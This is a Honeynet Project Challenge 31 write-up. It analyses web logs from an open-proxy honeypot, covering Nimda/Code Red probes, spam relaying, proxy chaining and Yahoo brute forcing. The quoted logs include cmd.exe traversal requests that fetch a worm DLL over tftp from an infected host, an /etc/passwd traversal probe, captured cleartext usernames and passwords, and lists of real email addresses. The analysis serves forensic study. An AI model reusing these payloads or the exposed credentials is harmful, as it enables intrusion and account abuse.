

SCAN 31
THE PROJECT HONEYNET
<http://www.honeynet.org>

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INFOSEC Technical Document
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Acknowledgment

This work was prepared in response to Project Honeynet Challenge 31. The findings, tools and observation discussed in this paper is published for the general interest of the Computer Security Community and it was intended for a highly technical audience. Some information may be incorrect, out-dated, obscured, and all false. Typographical errors are all mine.

No pixels were damaged during the documentation and preparation of this technical document.

TO GOD AND TO MY LOVING DAUGHTERS.

Challenge Overview

This month's challenge is to analyze web server log files looking for signs of abuse. The Honeypots: Monitoring and Forensics Project deployed a specially configured Apache web server, designed specifically for use as a honeypot open proxy server or ProxyPot.

Questions

1. How do you think the attackers found the honeyproxy?

It was quite probable that it was discovered by a proxy hunter.

2. What different types of attacks can you identify?

This was where attacks that generated most noise on the audit_log and caught my attention.

2.1 Probing of exploitable server using automated scanner like Nessus looking for holes like IIS Unicode Directory Traversal exploit. It was also possible that the attacker used Proxy scanner, and Open SSL scanner.

2.2 Scan Open E-Mail relay gateway, probably to be used later by the attacker to spoof e-mail or to be utilized in SPAM.

2.3 Brute force login name and password of sites such as yahoo.com, icq.com, microsoft, mail.sina.com and etc.

Note: Extensive information of attack types by category mostly found on the logs can be compared from Nessus websites. <http://cgi.nessus.org/plugins/>

For each category, provide just one log example and detail as much info about the attack as possible (such as CERT/CVE/Anti-Virus id numbers). How many can you find?

2.1. Unicode Directory (<http://www.microsoft.com/technet/security/bulletin/MS00-078.msp>) Microsoft Security Bulletin (MS00-078) /RFP www.wiretrip.net traversal exploit or tools like *iis-kaboom*. <http://www.securityfocus.com/archive/75/319846/2003-04-27/2003-05-03/0> <http://downloads.securityfocus.com/vulnerabilities/exploits/iis-kabom.php>

Sample from the logs.

```
68.48.142.117%20GET%20cool.dll%20httpodbc.dll HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:20:26 -0500] "GET /scripts/httpodbc.dll
HTTP/1.0" 404 288 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:21:16 -0500] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 200 566 "-" "-"
218.93.92.137 - - [09/Mar/2004:22:21:38 -0500] "GET
http://seekpond.com/search.php?username=johnbush&keywords=ads HTTP/1.1" 200 578
"http://www.psend.com/users/mysearch/seekpond.htm" "Mozilla/4.0 (compatible; MSIE
4.01; Windows 98)"
68.48.142.117 - - [09/Mar/2004:22:22:07 -0500] "GET /MSADC/root.exe?/c+tftp%20-
i%2068.48.142.117%20GET%20cool.dll%20httpodbc.dll HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:22:07 -0500] "GET /MSADC/httpodbc.dll HTTP/1.0"
404 286 "-" "-"
```

The explanation

IIS probes by NIMDA worm attempting to exploit the root.exe backdoor left by Code Red II or possibly Sadminf infections. Unicode Directory traversal mapping drive C to ISS virtual folders, if success spawn cmd.exe

<cut>

```
GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210 "-" "-"
GET /MSADC/root.exe?/c+dir HTTP/1.0" 200 566 "-" "-"
GET /_vti_bin/..%25c../..%25c../..%25c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 200 566 "-" "-"
```

</cut>

Once the worm gains access to vulnerable IIS webserver, it uses tftp to fetch the binary cool.dll (the worm itself) from the previous infected host example here from the logs 68.48.142.117

```
GET /_vti_bin/..%25c../..%25c../..%25c../winnt/system32/cmd.exe?/c+tftp%20-
i%2068.48.142.117%20GET%20cool.dll%20e:\\httpodbc.dll
```

Reference

http://www.cert.org/body/advisories/CA200126_FA200126.html

2.2 Suspicious occurrences of mail gateways from the logs

<cut>

```
..
ms39a.hinet.net
maila.microsoft.com
ms45a.hinet.net
ms8.url.com.tw
mx-ha01.web.de
mx00.kundenserver.de
200.52.207.52/unix.megared.net.mx
mx0.gmx.net
195.228.231.51
202.96.254.200
209.15.20.26
211.22.130.68
218.234.19.62
213.81.227.129
69.46.18.186
61.137.101.4
```

..
</cut>

2.3 Attacker/s trying to brute force username and passwords specially yahoo accounts from different locations. Please refer to question five for the answer

3. Do attackers target Secure Socket Layer (SSL) enabled web servers as their targets?

Yes attackers target SSL enabled web servers! This was transparent on the logs port 443 connections.

Did they target SSL on our honeyproxy?

I believe so since it was a honeypot proxy. This, they easily found out using automated vulnerability scanner, or proxy hunter.

Why would they want to use SSL?

Base on audit logs it was clear the attacker are using SSL to tunnel to other vulnerable proxy possibly to transit arbitrary data. Also this was common technique use by black-hats to mask/bounce their IP address specially when having IRC, and ICQ sessions (TCP data stream forwarding / AKA SOCKS). It was also being utilized to anonymize the attacker search query from one search engine to another. There was also a strong indication that attacker want to use SSL to establish a covert channel.

A more in-depth and technical reference on this approach was located here in this paper by Alex Dyatlov and Simon Castro.

http://gray-world.net/projects/papers/html/covert_paper.html

Why didn't they use SSL exclusively?

It is important to understand that once a private exploit was release to general public, the affected commercial software already or successfully minimize the damage by releasing a patch or most of the time alerted in advance by the external security researcher, hacker/cracker who made the exploit. Which in this case (SSL), some vulnerable version are no longer exploitable. Duh!

4. Are there any indications of attackers chaining through other proxy servers?

Yes, by successful and un-successful outbound attempt from honeypot to remote machines on port :8080.

List the other proxy servers identified. Can you confirm that these are indeed proxy servers?

<http://fivt.krgtu.ru:3128>
<http://proxyking.servehttp.com:8080>
<http://chat.communautes.tiscali.fr:8080>

Describe how you identified this activity.

I base this on HTTP proxies most common stamp fields one of them are visible on the logs they were : HTTP-Via, Remote-Host, Forwarded, X-Forwarded-For, Cache-Control, UserAgent-Via, and Cache-Info.

A simple TCP connections on proxy most common port 3128, 8080 can confirm that it was indeed a proxy server. Netcat, and Telnet will do just fine.

Can you obtain the clear text username/password credentials? Describe your methods.

Yes clear text username and password can be obtain using simple `cat access_log | grep password` or `password=` or `passwd` and pipe the output to a file. Output is rather large about 3.6MB each so I'll just put sample here for aesthetic viewing pleasure. LOL!

<cut>

```
24.168.72.174 - - [09/Mar/2004:22:11:38 -0500] "GET
http://sbcl.login.scd.yahoo.com/config/login?.redir_from=PROFILES?&.tries=
1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.chkP=Y&.done=http://jpa
ger.yahoo.com/jpager/pager2.shtml&login=exodus_510&passwd=matthew
HTTP/1.0" 200 566 "-" "-"
```

```
65.66.156.226 - - [10/Mar/2004:02:21:57 -0500] "GET
http://login.korea.yahoo.com/config/login?.redir_from=PROFILES?&.tries=1&.
src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.chkP=Y&.done=http://jpa
ger.yahoo.com/jpager/pager2.shtml&login=_____420_____&passwd=cheater
HTTP/1.0" 200 566 "-" "-"
```

```
65.66.156.226 - - [10/Mar/2004:02:23:02 -0500] "GET
```

```
..
217.160.165.173 - - [12/Mar/2004:22:39:03 -0500] "GET
/commerce.cgi?page=../../../../../../etc/passwd%00index.html HTTP/1.1" 403
296 "-" "Mozilla/4.75 [en] (X11; U; Nessus)"
```

```
209.158.55.156 - - [12/Mar/2004:22:39:03 -0500] "GET
http://18.login.dcn.yahoo.com/config?.src=jpg&login=bill_d_44451&passwd=bi
ll&md5=?2? HTTP/1.0" 200 566 "-" "-"
```

..
</cut>

6. What does the Mod_Security error message "Invalid Character Detected" mean?

This is a log message by Apache with Mod_Security (www.modsecurity.org) configuration, Auto Blocking some built-in rules database that was triggered by vulnerability scanners like Nessus as displayed from the Mod_Security source code.

What were the attackers trying to accomplish?

The Attackers doing outbound RECON using NESSUS or SSL Scanner to target similar vulnerable web servers.

7. Several attackers tried to send SPAM by accessing the following URL - <http://mail.sina.com.cn/cgi-bin/sendmsg.cgi>. They tried to send email with an html attachment (files listed in the /upload directory).

What does the SPAM webpage say?

I'm not sure about this, obviously there's a line in `audit_log` that display random field such as: "msgtxt" and attachments 'FWD_attachment.eml' with Chinese Characters, so I fairly deduce it was the subject field to the spam recipient. After looking at the HTML attachment it was gibberish, besides I don't have any online reference that translate Chinese webpage to English either. Hau!Hau!Hau!

However, if we take into consideration the urlencoded MIME/Content Type Header as seen on `audit_log` there were random recipient with random subject such as..

"I saw you on the chatroom "
"Hey Sexy connect to friendscams for webcams You wont regret"

This does not correlate from the files listed in the /upload directory or from mail.sina.com. Sorry if Mistaken.

Who are the SPAM recipients?

This was compared using grep from audit_log to /upload directory files provided by project honeynet.

attachment:20040311-184310-68.0.178.69-GoodMornitng.htm_dMDrgx

from:wenrenli0@sina.com

to:huangliedao3742@163.com

cc:inlingyz@sina.com,linlingzhou@sina.com,linlinh@sina.com,linlinhaoi@sina.com,linlinhaoyun@sina.com,linlinhappy1985@sina.com,linlinhappy2002@sina.com,linlinhappy21@sina.com,linlinhe@sina.com,linlinhome@sina.com,linlinhong520@sina.com,linlinhong@sina.com

bcc:wenrenli0@sina.com

attachment:20040313-121627-24.165.131.110-Goo5dMorning.htm

from:ningsui0@sina.com

to:pangrengye4@163.com

cc:rebecca_smile@sina.com,rebecca_w@sina.com,rebecca_wang@sina.com,rebecca_wdy@sina.com,rebecca_wei@sina.com,rebecca_wen1983@sina.com,rebecca_wxh@sina.com,rebecca_wyn@sina.com,rebecca_wzm@sina.com,rebecca_xiaolong@sina.com,rebecca_xinyu@sina.com,rebecca_xq@sina.com

bcc:ningsui0@sina.com

attachment:20040313-132411-67.81.34.7-GoodMorkning.htm

from:gengteng3@sina.com

to:ai_nei06@163.com

cc:qxueren@sina.com,qxuesheng@sina.com,qxueting1221@sina.com,qxueyuan@sina.com,qxuff@sina.com,qxux@sina.com,qxv@sina.com,qxw000@sina.com,qxw12090@sina.com,qxw1210@sina.com,qxw1618@sina.com,qxw195138@sina.com

bcc:gengteng3@sina.com

attachment:20040313-145020-66.17.107.246-GoodMo0rning.htm

from:chuliao9@sina.com

to:ouchen334@163.com

cc:scp371@sina.com,scp37@sina.com,scp518@sina.com,scp6407@sina.com,scp6554@sina.com,scp75@sina.com,scp81@sina.com,scp83981@sina.com,scp_0923@sina.com,scp_2003@sina.com,scp_mt@sina.com,scpady.student@sina.com

bcc:chuliao9@sina.com

attachment:20040313-145020-66.17.107.246-GoodMo0rning.htm

from:chuliao9@sina.com

to:ouchen334@163.com

cc:scp371@sina.com,scp37@sina.com,scp518@sina.com,scp6407@sina.com,scp6554@sina.com,scp75@sina.com,scp81@sina.com,scp83981@sina.com,scp_0923@sina.com,scp_2003@sina.com,scp_mt@sina.com,scpady.student@sina.com

bcc:chuliao9@sina.com

attachment:20040313-162733-68.198.16.66-GooedMorning.htm

from:kuangfo4@sina.com

to:zongzefeng8@163.com

cc:shenjifei@sina.com,shenjigang@sina.com,shenjihua1984@sina.com,shenjihua@sina.com,shenjihui@sina.com,shenjiji@sina.com,shenjijiao@sina.com,shenjijie1@sina.com,shenjiju@sina.com,shenjijun@sina.com,shenji
ke@sina.com,shenjilei@sina.com
bcc:kuangfo4@sina.com

attachment:20040313-170722-24.136.227.15-GoodMoorning.htm

from:nongla6@sina.com

to:pangrengye4@163.com

cc:shelleycom@sina.com,shelleyd@sina.com,shelleydl@sina.com,shelleydyce@sina.com,shelleyee@sina.com,shelleyexuan@sina.com,shelleyfaith@sina.com,shelleyfish@sina.com,shelleyguo8706@sina.com,shelleygyn
@sina.com,shelleyhamill.student@sina.com,shelleyhp@sina.com

bcc:nongla6@sina.com

attachement:20040313-174514-68.41.205.235-GoodMornding.htm

from:bianpian2@sina.com

to:botaizao489@163.com

cc:shuchangjun@sina.com,shuchangjy123@sina.com,shuchanglove520@sina.com,shuchangly@sina.com,shuchangrz@sina.com,shuchangsc_7@sina.com,shuchangsheng.student@sina.com,shuchangstar@sina.com,shuchangwei@sina.com,shuchangwen@sina.com,shuchangwww@sina.com,shuchangyin@sina.com

bcc:bianpian2@sina.com

8. Provide some high level statistics on attackers such as:

- Top Ten Attackers

Courtesy of grep and analog log analyzer and base on successful connections with code HTTP CODE 200 in access_log and analog. e.g CONNECT/GET, nessus scan and anomalous assorted query with ip 217.160.165.173 highest on my analysis. Please refer to Main HTML page for Log Analyzer Output.

217.160.165.173
81.171.1.165
68.74.66.170
68.48.142.117
24.226.124.201
65.66.156.226
24.168.72.174
208.190.202.194
12.146.177.166
69.138.90.104

- Top Ten Targets

http://pager.yahoo.com
mail.sina.com.cn

-Top User-Agents (Any weird/fake agent strings?)

This is what I have dig and was base on Analog, Awstat and Grep. I included also some relevant information that correlates to the User-Agents like Brower hits and OS hits information.

Awstat provided in-depth correlation to the access_log with manual manipulation with grep Including weird, fake agent strings, and unknown referrer browsers.

User Agent and weird/fake agent strings as reported by awstat.

```
<--snip-->
Mozilla/4.0_(compatible;_dk);_AOL_5.0;_NetCaptor
Mozilla/4.6_(compatible;_dk);_AOL_5.0;_win9x/NT_4.90_)
Mozilla/4.5_[fr]_(WinME;_I)
Irvine/1.0.8b
Clicking_Agent
DoCoMo/1.0/N505i/c20/TC/W20H10
You_lose_!
Sleipnir_Version_1.42
Tcl_http_client_package_2.4.5
Iria/1.07a
MYX.NET_Desktop_v0.11
DreamPassport/2.0
Symantec_LiveUpdate
J-PHONE/3.0/J-T05
Monazilla/1.00_kage/0.99.1.1070_(1000)
sps/0.1_libwww/5.4.0
Mozilla/3.0_(compatible;_mSoft_Proxy_Checker;_unknown;_proxy:_192.168.1.103:8000,
protocol:_HTTP)
ProxyHunter
Anonymisiert_durch_Steganos_Internet_Anonym_6
libwww-perl/5.64
RMA/1.0_(compatible;_RealMedia)
CryptRetrieveObjectByUrl::InetSchemeProvider
Mozilla/4.5_(Screen=240x320x64K;_InputMethod=PEN;_Page=1M;_Product=CASIO/CASSIOPEI
A_BE;_HTML-level=3.2;_Category=PDA;_JavaScript=yes)_(WorldTALK/2.2.24)
2.0_AC-Plug_-_http://www.iOpus.com
{B543282B-5BEA-4DFC-B52D-2466184D61FF}|0.0.4.19 - PROBABLY USING administrative
tools / this->SID I don't know :-(
NESSUS::SOAP
MSFrontPage/4.0
Microsoft_URL_Control_-_6.00.8862
```

AWSTAT Browser Hits

```
msie6.0 - 6.9 -> probably Windows XP and up this correlates to OS hits.
msie5.23
netscape3-7
curl
safari
netcaptor
libwww
opera
firebird
```

OS hits

TOP 15 Name of OS and Number of Hits

OS	HITS
macintosh	2296
winxp	20778
unix	1852
winnt	19846
win2000	8599
win98	35649
linux	211

```

win16                2
macosx               20
winme                2049
win95                11810
beos                 1
win2003              80
sunos                25
Unknown              31790

```

While Analog reported

O.Ses, sorted by the number of requests for pages in the last 7 days.

```

pages: 7-day pages: %7-day pages:      OS
-----: -----: -----: --
    211:          0:          :      Unix
     16:          0:          :      Linux
    194:          0:          :      Other Unix
     1:          0:          :      SunOS
     4:          0:          :      Known robots
    133:          0:          :      Macintosh
  10113:          0:          :      OS unknown
 47131:          0:          :      Windows
 8589:          0:          :      Windows 95
     8:          0:          :      Unknown Windows
 8259:          0:          :      Windows XP
12768:          0:          :      Windows 98
 8340:          0:          :      Windows NT
   288:          0:          :      Windows ME
 8879:          0:          :      Windows 2000

```

- Attacker correlation from DShield and other sources?

Yes, here is the info from DShield with the most active attacker on my analysis.

```

Address: 217.160.165.173
HostName: p15110954.pureserver.info
DShield Profile: Country: DE
Contact E-mail: abuse@schlund.de
AS Number: 8560
Total Records against IP: 1
Number of targets: 1
Date Range: 2004-04-04 to 2004-04-04

```

Bonus Question:

- **Why do you think the attackers were targeting pornography websites for brute force attacks? (Besides the obvious physical gratification scenarios :)**

Attacker targeting porno website (NO offense to l33t crew of EHAP!) , because of some the porno websites poor reputation in computer security. A determine cracker can easily brute force his/her way or crack a porno web site. To date working 'XXX' passwords can be easily obtain using search engines and also freely posted, available to promiscuous general public :-) on underground warez sites like warez.com. I believe the cracker wish to acquire Credit Card Information (Virgin CCS) to be traded later on underground IRC carding channels such as #cc, #ccpower and etc for various illicit purposes.

- **Even though the proxypot's IP/Hostname was obfuscated from the logs, can you still determine the probable network block owner?**

No

TECHNICAL REFERENCES

<http://www.analog.cx/>

<http://awstats.sourceforge.net/>

Analog Latest Configurations

http://www.screenfox.de/analog_typealias/

<http://mba.vanderbilt.edu/Mike.Shor/diversions/analog/>

<http://wadsack-allen.com/products/robot-list.html>

<http://www.honeynet.org>

<http://www.cert.org>

To secure ourselves against defeat lies in our own hands, but the opportunity of defeating the enemy is provided by the enemy himself.

Sun-Tzu